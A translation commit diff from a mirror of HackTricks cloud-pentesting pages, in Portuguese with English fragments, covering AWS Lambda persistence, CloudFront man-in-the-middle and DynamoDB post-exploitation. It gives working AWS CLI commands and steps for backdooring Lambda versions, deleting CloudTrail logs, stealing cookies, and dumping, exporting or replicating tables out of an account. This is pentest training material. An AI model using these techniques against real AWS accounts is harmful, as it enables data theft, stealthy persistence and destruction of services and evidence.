mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-05 03:16:37 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws
This commit is contained in:
Translator
@@ -1,26 +1,26 @@
|
||||
# AWS - Lambda Persistence
|
||||
# AWS - Persistência em Lambda
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Lambda
|
||||
|
||||
Para mais informações veja:
|
||||
Para mais informações, consulte:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-lambda-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Lambda Layer Persistence
|
||||
### Persistência em Lambda Layer
|
||||
|
||||
É possível **introduzir/backdoor um layer para executar código arbitrário** quando a Lambda é executada de forma furtiva:
|
||||
É possível **introduzir/backdoor uma layer para executar arbitrary code** quando a Lambda é executada de forma furtiva:
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-layers-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### Lambda Extension Persistence
|
||||
### Persistência em Lambda Extension
|
||||
|
||||
Abusando de Lambda Layers, também é possível abusar de extensions e persistir na lambda, além de roubar e modificar requisições.
|
||||
Abusando de Lambda Layers também é possível abusar de extensions e persistir na Lambda, além de roubar e modificar requests.
|
||||
|
||||
{{#ref}}
|
||||
aws-abusing-lambda-extensions.md
|
||||
@@ -28,42 +28,42 @@ aws-abusing-lambda-extensions.md
|
||||
|
||||
### Via resource policies
|
||||
|
||||
É possível conceder acesso a diferentes ações da lambda (como invoke ou update code) para contas externas:
|
||||
É possível conceder acesso a diferentes ações do Lambda (como invoke ou update code) para contas externas:
|
||||
|
||||
<figure><img src="../../../../images/image (255).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Versions, Aliases & Weights
|
||||
### Versões, Aliases & Weights
|
||||
|
||||
Uma Lambda pode ter **versões diferentes** (com código diferente em cada versão).\
|
||||
Então, você pode criar **aliases diferentes com versões diferentes** da Lambda e definir pesos diferentes para cada.\
|
||||
Dessa forma um atacante poderia criar uma **versão 1 backdoored** e uma **versão 2 com apenas o código legítimo** e **executar a versão 1 em apenas 1%** das requisições para permanecer furtivo.
|
||||
Uma Lambda pode ter **different versions** (com different code em cada versão).\
|
||||
Então, você pode criar **different aliases apontando para different versions** da função e definir diferentes weights para cada um.\
|
||||
Dessa forma, um atacante poderia criar uma **backdoored version 1** e uma **version 2 com apenas o legit code** e **executar somente a version 1 em 1%** das requests para permanecer furtivo.
|
||||
|
||||
<figure><img src="../../../../images/image (120).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Version Backdoor + API Gateway
|
||||
|
||||
1. Copie o código original da Lambda
|
||||
2. **Create a new version backdooring** o código original (ou apenas com código malicioso). Publish e **deploy that version** para $LATEST
|
||||
1. Chame o API Gateway relacionado à Lambda para executar o código
|
||||
3. **Create a new version with the original code**, Publish e deploy essa **version** para $LATEST.
|
||||
1. Isso esconderá o código backdoored em uma versão anterior
|
||||
4. Vá ao API Gateway e **create a new POST method** (ou escolha qualquer outro método) que executará a versão backdoored da lambda: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
|
||||
1. Note o final :1 do arn **indicando a versão da função** (version 1 será a backdoored neste cenário).
|
||||
5. Selecione o método POST criado e em Actions selecione **`Deploy API`**
|
||||
6. Agora, quando você **chamar a função via POST seu Backdoor** será invocado
|
||||
1. Copy the original code of the Lambda
|
||||
2. **Create a new version backdooring** the original code (or just with malicious code). Publish and **deploy that version** to $LATEST
|
||||
1. Call the API gateway related to the lambda to execute the code
|
||||
3. **Create a new version with the original code**, Publish and deploy that **version** to $LATEST.
|
||||
1. This will hide the backdoored code in a previous version
|
||||
4. Go to the API Gateway and **create a new POST method** (or choose any other method) that will execute the backdoored version of the lambda: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
|
||||
1. Note the final :1 of the arn **indicating the version of the function** (version 1 will be the backdoored one in this scenario).
|
||||
5. Select the POST method created and in Actions select **`Deploy API`**
|
||||
6. Now, when you **call the function via POST your Backdoor** will be invoked
|
||||
|
||||
### Cron/Event actuator
|
||||
|
||||
O fato de você poder fazer **funções Lambda rodarem quando algo acontece ou quando algum tempo passa** torna a Lambda uma forma comum e interessante de obter persistência e evitar detecção.\
|
||||
O fato de você poder fazer **lambda functions rodarem quando algo acontece ou quando passa um intervalo de tempo** torna o Lambda uma forma comum de obter persistência e evitar detecção.\
|
||||
Aqui estão algumas ideias para tornar sua **presença na AWS mais furtiva criando lambdas**.
|
||||
|
||||
- Toda vez que um novo usuário é criado a Lambda gera uma nova user key e a envia para o atacante.
|
||||
- Toda vez que um novo role é criado a Lambda concede permissões de assume role a usuários comprometidos.
|
||||
- Sempre que novos logs do CloudTrail são gerados, delete/altere-os
|
||||
- Toda vez que um novo user é criado, a Lambda gera uma nova user key e envia para o atacante.
|
||||
- Toda vez que uma nova role é criada, a Lambda concede permissões de assume role para usuários comprometidos.
|
||||
- Toda vez que novos cloudtrail logs são gerados, deletar/alterar eles
|
||||
|
||||
### RCE abusing AWS_LAMBDA_EXEC_WRAPPER + Lambda Layers
|
||||
### RCE abusando de AWS_LAMBDA_EXEC_WRAPPER + Lambda Layers
|
||||
|
||||
Abuse a variável de ambiente `AWS_LAMBDA_EXEC_WRAPPER` para executar um script wrapper controlado pelo atacante antes do runtime/handler iniciar. Entregue o wrapper via um Lambda Layer em `/opt/bin/htwrap`, defina `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`, e então invoque a função. O wrapper roda dentro do processo do runtime da função, herda o role de execução da função e finalmente `exec`s o runtime real para que o handler original ainda seja executado normalmente.
|
||||
Abuse da variável de ambiente `AWS_LAMBDA_EXEC_WRAPPER` para executar um wrapper controlado pelo atacante antes do runtime/handler iniciar. Entregue o wrapper via um Lambda Layer em `/opt/bin/htwrap`, configure `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap` e então invoque a função. O wrapper roda dentro do processo do runtime da função, herda a execution role da função e, por fim, faz `exec` do runtime real para que o handler original ainda seja executado normalmente.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-exec-wrapper-persistence.md
|
||||
@@ -71,7 +71,7 @@ aws-lambda-exec-wrapper-persistence.md
|
||||
|
||||
### AWS - Lambda Function URL Public Exposure
|
||||
|
||||
Abuse destinos assíncronos do Lambda juntamente com a configuração de Recursion para fazer com que uma função se re-invoque continuamente sem um agendador externo (sem EventBridge, cron, etc.). Por padrão, o Lambda termina loops recursivos, mas definir a config de recursion para Allow reativa-os. Destinations entregam do lado do serviço para invocações assíncronas, então uma única seed invoke cria um canal furtivo, sem código, de heartbeat/backdoor. Opcionalmente regule com reserved concurrency para manter o ruído baixo.
|
||||
Abuse de destinations assíncronas do Lambda junto com a configuração de Recursion para fazer uma função se re-invocar continuamente sem um agendador externo (sem EventBridge, cron, etc.). Por padrão, o Lambda termina loops recursivos, mas configurando recursion para Allow reativa-os. Destinations entregam do lado do serviço para invokes async, então um único invoke seed cria um canal stealthy de heartbeat/backdoor sem necessidade de código. Opcionalmente throttle com reserved concurrency para manter o ruído baixo.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-async-self-loop-persistence.md
|
||||
@@ -79,9 +79,9 @@ aws-lambda-async-self-loop-persistence.md
|
||||
|
||||
### AWS - Lambda Alias-Scoped Resource Policy Backdoor
|
||||
|
||||
Crie uma versão oculta da Lambda com lógica do atacante e escopo uma resource-based policy para essa versão específica (ou alias) usando o parâmetro `--qualifier` em `lambda add-permission`. Conceda apenas `lambda:InvokeFunction` em `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` a um principal atacante. Invocações normais via o nome da função ou alias primário permanecem inalteradas, enquanto o atacante pode invocar diretamente o ARN da versão backdoored.
|
||||
Crie uma versão escondida da Lambda com lógica do atacante e aplique uma resource-based policy com escopo para aquela versão específica (ou alias) usando o parâmetro `--qualifier` em `lambda add-permission`. Conceda apenas `lambda:InvokeFunction` sobre `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` a um principal atacante. Invocações normais via nome da função ou alias primário permanecem inalteradas, enquanto o atacante pode invocar diretamente o ARN da versão backdoored.
|
||||
|
||||
Isso é mais furtivo do que expor um Function URL e não altera o alias de tráfego primário.
|
||||
Isto é mais furtivo do que expor um Function URL e não altera o alias de tráfego primário.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-alias-version-policy-backdoor.md
|
||||
@@ -89,7 +89,7 @@ aws-lambda-alias-version-policy-backdoor.md
|
||||
|
||||
### Freezing AWS Lambda Runtimes
|
||||
|
||||
Um atacante que possui permissões lambda:InvokeFunction, logs:FilterLogEvents, lambda:PutRuntimeManagementConfig e lambda:GetRuntimeManagementConfig pode modificar a runtime management configuration de uma função. Este ataque é especialmente eficaz quando o objetivo é manter uma função Lambda em uma versão de runtime vulnerável ou preservar compatibilidade com layers maliciosos que podem ser incompatíveis com runtimes mais novos.
|
||||
Um atacante que possui permissions lambda:InvokeFunction, logs:FilterLogEvents, lambda:PutRuntimeManagementConfig, e lambda:GetRuntimeManagementConfig pode modificar a runtime management configuration de uma função. Este ataque é especialmente efetivo quando o objetivo é manter uma função Lambda em uma versão de runtime vulnerável ou preservar compatibilidade com layers maliciosas que podem ser incompatíveis com runtimes mais novos.
|
||||
|
||||
O atacante modifica a runtime management configuration para fixar a versão do runtime:
|
||||
```bash
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# AWS - CloudFront Pós-Exploração
|
||||
# AWS - CloudFront Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -11,9 +11,9 @@ Para mais informações, consulte:
|
||||
{{#endref}}
|
||||
|
||||
### `cloudfront:Delete*`
|
||||
Um atacante com a permissão cloudfront:Delete* pode excluir distributions, policies e outros objetos críticos de configuração do CDN — por exemplo distributions, cache/origin policies, key groups, origin access identities, functions/configs, e recursos relacionados. Isso pode causar interrupção do serviço, perda de conteúdo e remoção de configurações ou artefatos forenses.
|
||||
Um atacante com a permissão `cloudfront:Delete*` pode excluir distribuições, políticas e outros objetos críticos de configuração da CDN — por exemplo distributions, cache/origin policies, key groups, origin access identities, functions/configs e recursos relacionados. Isso pode causar interrupção do serviço, perda de conteúdo e remoção de configurações ou artefatos forenses.
|
||||
|
||||
Para excluir uma distribution, um atacante poderia usar:
|
||||
Para excluir uma distribution um atacante poderia usar:
|
||||
```bash
|
||||
aws cloudfront delete-distribution \
|
||||
--id <DISTRIBUTION_ID> \
|
||||
@@ -21,20 +21,20 @@ aws cloudfront delete-distribution \
|
||||
```
|
||||
### Man-in-the-Middle
|
||||
|
||||
This [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) propõe alguns cenários diferentes onde uma **Lambda** poderia ser adicionada (ou modificada se já estiver sendo usada) em uma **comunicação através do CloudFront** com o objetivo de **stealing** informações do usuário (como o **cookie** de sessão) e **modifying** a **response** (injetando um script JS malicioso).
|
||||
This [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) propõe alguns cenários diferentes onde uma **Lambda** poderia ser adicionada (ou modificada se já estiver sendo usada) em uma **comunicação através do CloudFront** com o propósito de **roubar** informações do usuário (como o **cookie** de sessão) e **modificar** a **resposta** (injetando um script JS malicioso).
|
||||
|
||||
#### cenário 1: MitM where CloudFront is configured to access some HTML of a bucket
|
||||
#### cenário 1: MitM onde o CloudFront está configurado para acessar algum HTML de um bucket
|
||||
|
||||
- **Criar** a **função** maliciosa.
|
||||
- **Associar** ela à distribuição do CloudFront.
|
||||
- Defina o **tipo de evento** para "Viewer Response".
|
||||
- Defina o **tipo de evento para "Viewer Response"**.
|
||||
|
||||
Ao acessar a **response** você poderia roubar o **cookie** dos usuários e injetar um JS malicioso.
|
||||
Ao acessar a resposta você poderia roubar o cookie dos usuários e injetar um JS malicioso.
|
||||
|
||||
#### cenário 2: MitM where CloudFront is already using a lambda function
|
||||
#### cenário 2: MitM onde o CloudFront já está usando uma lambda function
|
||||
|
||||
- **Modificar o código** da lambda function para roubar informações sensíveis
|
||||
|
||||
Você pode conferir o [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
|
||||
You can check the [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,7 +12,7 @@ Para mais informações, consulte:
|
||||
|
||||
### `dynamodb:BatchGetItem`
|
||||
|
||||
Um attacker com essas permissões poderá **obter itens das tabelas pela chave primária** (você não pode simplesmente pedir todos os dados da tabela). Isso significa que você precisa conhecer as chaves primárias (você pode obter isso pegando os metadados da tabela (`describe-table`).
|
||||
Um atacante com essa permissão poderá **obter itens de tabelas pela chave primária** (você não pode simplesmente solicitar todos os dados da tabela). Isso significa que você precisa conhecer as chaves primárias (você pode obtê-las consultando os metadados da tabela (`describe-table`).
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="json file" }}
|
||||
@@ -43,11 +43,11 @@ aws dynamodb batch-get-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Impacto Potencial:** Privesc indireta ao localizar informações sensíveis na tabela
|
||||
**Impacto Potencial:** Indireto privesc ao localizar informações sensíveis na tabela
|
||||
|
||||
### `dynamodb:GetItem`
|
||||
|
||||
**Semelhante às permissões anteriores** esta permite que um atacante potencial leia valores de apenas 1 tabela dada a chave primária da entrada a recuperar:
|
||||
**Semelhante às permissões anteriores**, esta permite que um potencial atacante leia valores de apenas 1 tabela, dada a chave primária da entrada a ser recuperada:
|
||||
```json
|
||||
aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
|
||||
|
||||
@@ -75,11 +75,11 @@ aws dynamodb transact-get-items \
|
||||
}
|
||||
]
|
||||
```
|
||||
**Impacto Potencial:** privesc indireto ao localizar informações sensíveis na tabela
|
||||
**Impacto potencial:** Privesc indireto ao localizar informações sensíveis na tabela
|
||||
|
||||
### `dynamodb:Query`
|
||||
|
||||
**Semelhante às permissões anteriores** esta permite que um atacante potencial leia valores de apenas 1 tabela, desde que a chave primária do registro a recuperar seja fornecida. Permite usar um [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), mas a única comparação permitida com a chave primária (que deve aparecer) é "EQ", então você não pode usar uma comparação para obter todo o banco de dados em uma requisição.
|
||||
**Semelhante às permissões anteriores** esta permite que um atacante potencial leia valores de apenas 1 tabela dado a chave primária da entrada a recuperar. Permite usar um [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), mas a única comparação permitida com a chave primária (que deve aparecer) é "EQ", portanto você não pode usar uma comparação para obter todo o DB em uma requisição.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="json file" }}
|
||||
@@ -107,19 +107,19 @@ aws dynamodb query \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Impacto potencial:** Indirect privesc ao localizar informações sensíveis na tabela
|
||||
**Impacto Potencial:** Indirect privesc ao localizar informações sensíveis na tabela
|
||||
|
||||
### `dynamodb:Scan`
|
||||
|
||||
Você pode usar esta permissão para **dump the entire table easily**.
|
||||
Você pode usar essa permissão para **dump a tabela inteira facilmente**.
|
||||
```bash
|
||||
aws dynamodb scan --table-name <t_name> #Get data inside the table
|
||||
```
|
||||
**Impacto Potencial:** Privesc indireta ao localizar informações sensíveis na tabela
|
||||
**Impacto Potencial:** privesc indireto ao localizar informações sensíveis na tabela
|
||||
|
||||
### `dynamodb:PartiQLSelect`
|
||||
|
||||
Você pode usar essa permissão para **dump facilmente a tabela inteira**.
|
||||
Você pode usar esta permissão para **fazer dump de toda a tabela facilmente**.
|
||||
```bash
|
||||
aws dynamodb execute-statement \
|
||||
--statement "SELECT * FROM ProductCatalog"
|
||||
@@ -129,13 +129,13 @@ Esta permissão também permite executar `batch-execute-statement` como:
|
||||
aws dynamodb batch-execute-statement \
|
||||
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
|
||||
```
|
||||
mas você precisa especificar a chave primária com um valor, então isso não é tão útil.
|
||||
mas você precisa especificar a chave primária com um valor, então não é tão útil.
|
||||
|
||||
**Impacto Potencial:** Privesc indireta ao localizar informações sensíveis na tabela
|
||||
**Impacto Potencial:** Privesc indireto ao localizar informações sensíveis na tabela
|
||||
|
||||
### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)`
|
||||
|
||||
Essa permissão permitirá que um atacante **exporte toda a tabela para um bucket S3** à sua escolha:
|
||||
Essa permissão permitirá que um atacante **exporte a tabela inteira para um bucket S3** de sua escolha:
|
||||
```bash
|
||||
aws dynamodb export-table-to-point-in-time \
|
||||
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
|
||||
@@ -144,29 +144,29 @@ aws dynamodb export-table-to-point-in-time \
|
||||
--export-time <point_in_time> \
|
||||
--region <region>
|
||||
```
|
||||
Observe que, para isto funcionar, a tabela precisa ter point-in-time-recovery habilitado; você pode verificar se a tabela possui isso com:
|
||||
Observe que, para isso funcionar, a tabela precisa ter point-in-time-recovery ativado; você pode verificar se a tabela tem point-in-time-recovery com:
|
||||
```bash
|
||||
aws dynamodb describe-continuous-backups \
|
||||
--table-name <tablename>
|
||||
```
|
||||
Se não estiver ativado, você precisará **ativá-lo** e, para isso, precisa da permissão **`dynamodb:ExportTableToPointInTime`**:
|
||||
Se não estiver habilitado, você precisará **habilitá-lo** e, para isso, precisa da permissão **`dynamodb:ExportTableToPointInTime`**:
|
||||
```bash
|
||||
aws dynamodb update-continuous-backups \
|
||||
--table-name <value> \
|
||||
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
|
||||
```
|
||||
**Impacto Potencial:** privesc indireto ao localizar informação sensível na tabela
|
||||
**Impacto Potencial:** Indirect privesc ao localizar informações sensíveis na tabela
|
||||
|
||||
### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
|
||||
|
||||
Com essas permissões, um atacante seria capaz de **criar uma nova tabela a partir de um backup** (ou até criar um backup para depois restaurá-lo em uma tabela diferente). Então, com as permissões necessárias, ele seria capaz de verificar **informação** dos backups q**ue não estivessem mais na tabela de produção**.
|
||||
Com essas permissões, um atacante seria capaz de **criar uma nova tabela a partir de um backup** (ou até criar um backup para então restaurá-lo em uma tabela diferente). Em seguida, com as permissões necessárias, ele poderia consultar **informações** dos backups que n**ão estivessem mais na tabela de produção**.
|
||||
```bash
|
||||
aws dynamodb restore-table-from-backup \
|
||||
--backup-arn <source-backup-arn> \
|
||||
--target-table-name <new-table-name> \
|
||||
--region <region>
|
||||
```
|
||||
**Impacto Potencial:** privesc indireto ao localizar informações sensíveis no backup da tabela
|
||||
**Impacto potencial:** Indirect privesc ao localizar informações sensíveis no backup da tabela
|
||||
|
||||
### `dynamodb:PutItem`
|
||||
|
||||
@@ -202,11 +202,11 @@ aws dynamodb put-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Impacto Potencial:** Exploração de vulnerabilidades/bypasses adicionais por permitir adicionar/modificar dados em uma tabela DynamoDB
|
||||
**Impacto Potencial:** Exploração de vulnerabilidades/bypasses adicionais ao poder adicionar/modificar dados em uma tabela do DynamoDB
|
||||
|
||||
### `dynamodb:UpdateItem`
|
||||
|
||||
Esta permissão permite que usuários **modifiquem os atributos existentes de um item ou adicionem novos atributos a um item**. Ela **não substitui** o item inteiro; apenas atualiza os atributos especificados. Se a chave primária não existir na tabela, a operação irá **criar um novo item** com a chave primária especificada e definir os atributos indicados na expressão de atualização.
|
||||
Esta permissão permite que usuários **modifiquem os atributos existentes de um item ou adicionem novos atributos a um item**. Ela **não substitui** o item inteiro; apenas atualiza os atributos especificados. Se a chave primária não existir na tabela, a operação **criará um novo item** com a chave primária especificada e definirá os atributos especificados na expressão de atualização.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="XSS Example" }}
|
||||
@@ -242,7 +242,7 @@ aws dynamodb update-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Impacto Potencial:** Exploração de vulnerabilidades/bypasses adicionais ao poder adicionar/modificar dados em uma tabela DynamoDB
|
||||
**Impacto potencial:** Exploração de vulnerabilities/bypasses adicionais por poder adicionar/modificar dados em uma tabela DynamoDB
|
||||
|
||||
### `dynamodb:DeleteTable`
|
||||
|
||||
@@ -256,7 +256,7 @@ aws dynamodb delete-table \
|
||||
|
||||
### `dynamodb:DeleteBackup`
|
||||
|
||||
Um atacante com essa permissão pode **excluir um backup do DynamoDB, potencialmente causando perda de dados em caso de um cenário de recuperação de desastres**.
|
||||
Um atacante com essa permissão pode **excluir um backup do DynamoDB, potencialmente causando perda de dados em um cenário de recuperação de desastres**.
|
||||
```bash
|
||||
aws dynamodb delete-backup \
|
||||
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
|
||||
@@ -269,9 +269,9 @@ aws dynamodb delete-backup \
|
||||
> [!NOTE]
|
||||
> TODO: Testar se isto realmente funciona
|
||||
|
||||
Um atacante com essas permissões pode **habilitar um stream em uma tabela DynamoDB, atualizar a tabela para começar a transmitir as alterações e então acessar o stream para monitorar alterações na tabela em tempo real**. Isso permite ao atacante monitorar e exfiltrate alterações de dados, potencialmente levando a data leak.
|
||||
Um atacante com essas permissões pode **ativar um stream em uma tabela DynamoDB, atualizar a tabela para iniciar o streaming de alterações e então acessar o stream para monitorar as alterações na tabela em tempo real**. Isso permite que o atacante monitore e exfiltre alterações de dados, potencialmente levando a data leakage.
|
||||
|
||||
1. Habilitar um stream em uma tabela DynamoDB:
|
||||
1. Ativar um stream em uma tabela DynamoDB:
|
||||
```bash
|
||||
aws dynamodb update-table \
|
||||
--table-name TargetTable \
|
||||
@@ -292,7 +292,7 @@ aws dynamodbstreams get-shard-iterator \
|
||||
--shard-iterator-type LATEST \
|
||||
--region <region>
|
||||
```
|
||||
4. Use o shard iterator para acessar e exfiltrate os dados do stream:
|
||||
4. Use o shard iterator para acessar e exfiltrate dados do stream:
|
||||
```bash
|
||||
aws dynamodbstreams get-records \
|
||||
--shard-iterator <shard_iterator> \
|
||||
@@ -300,14 +300,14 @@ aws dynamodbstreams get-records \
|
||||
```
|
||||
**Impacto potencial**: Monitoramento em tempo real e vazamento de dados das alterações na tabela DynamoDB.
|
||||
|
||||
### Ler itens via `dynamodb:UpdateItem` e `ReturnValues=ALL_OLD`
|
||||
### Ler itens via `dynamodb:UpdateItem` and `ReturnValues=ALL_OLD`
|
||||
|
||||
Um atacante com apenas `dynamodb:UpdateItem` em uma tabela pode ler itens sem nenhuma das permissões de leitura usuais (`GetItem`/`Query`/`Scan`) realizando uma atualização benigna e solicitando `--return-values ALL_OLD`. O DynamoDB retornará a imagem completa do item antes da atualização no campo `Attributes` da resposta (isso não consome RCUs).
|
||||
Um atacante com apenas `dynamodb:UpdateItem` em uma tabela pode ler itens sem nenhuma das permissões de leitura usuais (`GetItem`/`Query`/`Scan`) realizando uma atualização inofensiva e solicitando `--return-values ALL_OLD`. DynamoDB retornará a imagem completa do item antes da atualização no campo `Attributes` da resposta (isso não consome RCUs).
|
||||
|
||||
- Permissões mínimas: `dynamodb:UpdateItem` na tabela/chave alvo.
|
||||
- Pré-requisitos: Você deve conhecer a chave primária do item.
|
||||
|
||||
Exemplo (adiciona um atributo inofensivo e exfiltra o item anterior na resposta):
|
||||
Exemplo (adiciona um atributo inofensivo e exfiltrates o item anterior na resposta):
|
||||
```bash
|
||||
aws dynamodb update-item \
|
||||
--table-name <TargetTable> \
|
||||
@@ -318,14 +318,14 @@ aws dynamodb update-item \
|
||||
--return-values ALL_OLD \
|
||||
--region <region>
|
||||
```
|
||||
A resposta do CLI incluirá um bloco `Attributes` contendo o item anterior completo (todos os atributos), fornecendo efetivamente um primitivo de leitura a partir de acesso apenas de escrita.
|
||||
A resposta do CLI incluirá um bloco `Attributes` contendo o item anterior completo (todos os atributos), fornecendo efetivamente uma primitiva de leitura a partir de acesso apenas de escrita.
|
||||
|
||||
**Impacto Potencial:** Ler itens arbitrários de uma tabela com apenas permissões de escrita, permitindo a exfiltração de dados sensíveis quando as chaves primárias são conhecidas.
|
||||
**Impacto Potencial:** Ler itens arbitrários de uma tabela com apenas permissões de escrita, permitindo exfiltração de dados sensíveis quando as chaves primárias são conhecidas.
|
||||
|
||||
|
||||
### `dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica`
|
||||
|
||||
Exfiltração furtiva ao adicionar uma nova réplica Region a uma DynamoDB Global Table (version 2019.11.21). Se um principal puder adicionar uma réplica regional, toda a tabela será replicada para a Region escolhida pelo atacante, de onde o atacante pode ler todos os itens.
|
||||
Exfiltração furtiva ao adicionar uma nova réplica de Região a uma DynamoDB Global Table (versão 2019.11.21). Se um principal puder adicionar uma réplica regional, toda a tabela será replicada para a Região escolhida pelo atacante, de onde o atacante pode ler todos os itens.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="PoC (default DynamoDB-managed KMS)" }}
|
||||
@@ -354,13 +354,13 @@ aws dynamodb update-table \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
Permissões: `dynamodb:UpdateTable` (com `replica-updates`) ou `dynamodb:CreateTableReplica` na tabela de destino. Se um CMK for usado na réplica, permissões KMS para essa chave podem ser necessárias.
|
||||
Permissões: `dynamodb:UpdateTable` (com `replica-updates`) ou `dynamodb:CreateTableReplica` na tabela alvo. Se um CMK for usado na réplica, permissões KMS para essa chave podem ser necessárias.
|
||||
|
||||
Impacto potencial: Replicação de toda a tabela para uma Region controlada pelo atacante, levando à exfiltração de dados de forma furtiva.
|
||||
Impacto Potencial: Replicação da tabela inteira para uma Região controlada por um atacante levando à exfiltração de dados de forma furtiva.
|
||||
|
||||
### `dynamodb:TransactWriteItems` (leitura via condição que falha + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)
|
||||
### `dynamodb:TransactWriteItems` (leitura via condição falhada + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)
|
||||
|
||||
Um atacante com privilégios de gravação transacional pode exfiltrar os atributos completos de um item existente realizando um `Update` dentro de `TransactWriteItems` que intencionalmente faz falhar um `ConditionExpression` enquanto define `ReturnValuesOnConditionCheckFailure=ALL_OLD`. Em caso de falha, o DynamoDB inclui os atributos anteriores nos motivos de cancelamento da transação, efetivamente transformando acesso apenas de escrita em acesso de leitura das chaves alvo.
|
||||
Um atacante com privilégios de gravação transacional pode exfiltrar os atributos completos de um item existente realizando um `Update` dentro de `TransactWriteItems` que intencionalmente faz falhar uma `ConditionExpression` enquanto define `ReturnValuesOnConditionCheckFailure=ALL_OLD`. Em caso de falha, o DynamoDB inclui os atributos anteriores nos motivos de cancelamento da transação, efetivamente transformando acesso apenas de gravação em acesso de leitura das chaves alvo.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }}
|
||||
@@ -411,19 +411,19 @@ print(e.response['CancellationReasons'][0]['Item'])
|
||||
|
||||
Permissões: `dynamodb:TransactWriteItems` na tabela alvo (e no item subjacente). Nenhuma permissão de leitura é necessária.
|
||||
|
||||
Impacto potencial: Ler itens arbitrários (pela chave primária) de uma tabela usando apenas privilégios de escrita transacional através dos motivos de cancelamento retornados.
|
||||
Impacto potencial: Ler itens arbitrários (pela chave primária) de uma tabela usando apenas privilégios de escrita transacional via os motivos de cancelamento retornados.
|
||||
|
||||
|
||||
### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` on GSI
|
||||
### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` no Índice Secundário Global (GSI)
|
||||
|
||||
Contorne restrições de leitura criando um Global Secondary Index (GSI) com `ProjectionType=ALL` em um atributo de baixa entropia, definindo esse atributo para um valor constante em todos os itens e então `Query` o índice para recuperar os itens completos. Isso funciona mesmo se `Query`/`Scan` na tabela base for negado, desde que você possa consultar o ARN do índice.
|
||||
Contorne restrições de leitura criando um Global Secondary Index (GSI) com `ProjectionType=ALL` em um atributo de baixa entropia, definindo esse atributo com um valor constante em todos os itens e então executando `Query` no índice para recuperar os itens completos. Isso funciona mesmo se `Query`/`Scan` na tabela base for negado, desde que você possa consultar o ARN do índice.
|
||||
|
||||
- Permissões mínimas:
|
||||
- `dynamodb:UpdateTable` on the target table (to create the GSI with `ProjectionType=ALL`).
|
||||
- `dynamodb:UpdateItem` on the target table keys (to set the indexed attribute on each item).
|
||||
- `dynamodb:Query` on the index resource ARN (`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`).
|
||||
- `dynamodb:UpdateTable` na tabela alvo (para criar o GSI com `ProjectionType=ALL`).
|
||||
- `dynamodb:UpdateItem` nas chaves da tabela alvo (para definir o atributo indexado em cada item).
|
||||
- `dynamodb:Query` no ARN do recurso do índice (`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`).
|
||||
|
||||
Passos (PoC em us-east-1):
|
||||
Etapas (PoC em us-east-1):
|
||||
```bash
|
||||
# 1) Create table and seed items (without the future GSI attribute)
|
||||
aws dynamodb create-table --table-name HTXIdx \
|
||||
@@ -466,11 +466,11 @@ aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \
|
||||
|
||||
### `dynamodb:EnableKinesisStreamingDestination` (Exfiltração contínua via Kinesis Data Streams)
|
||||
|
||||
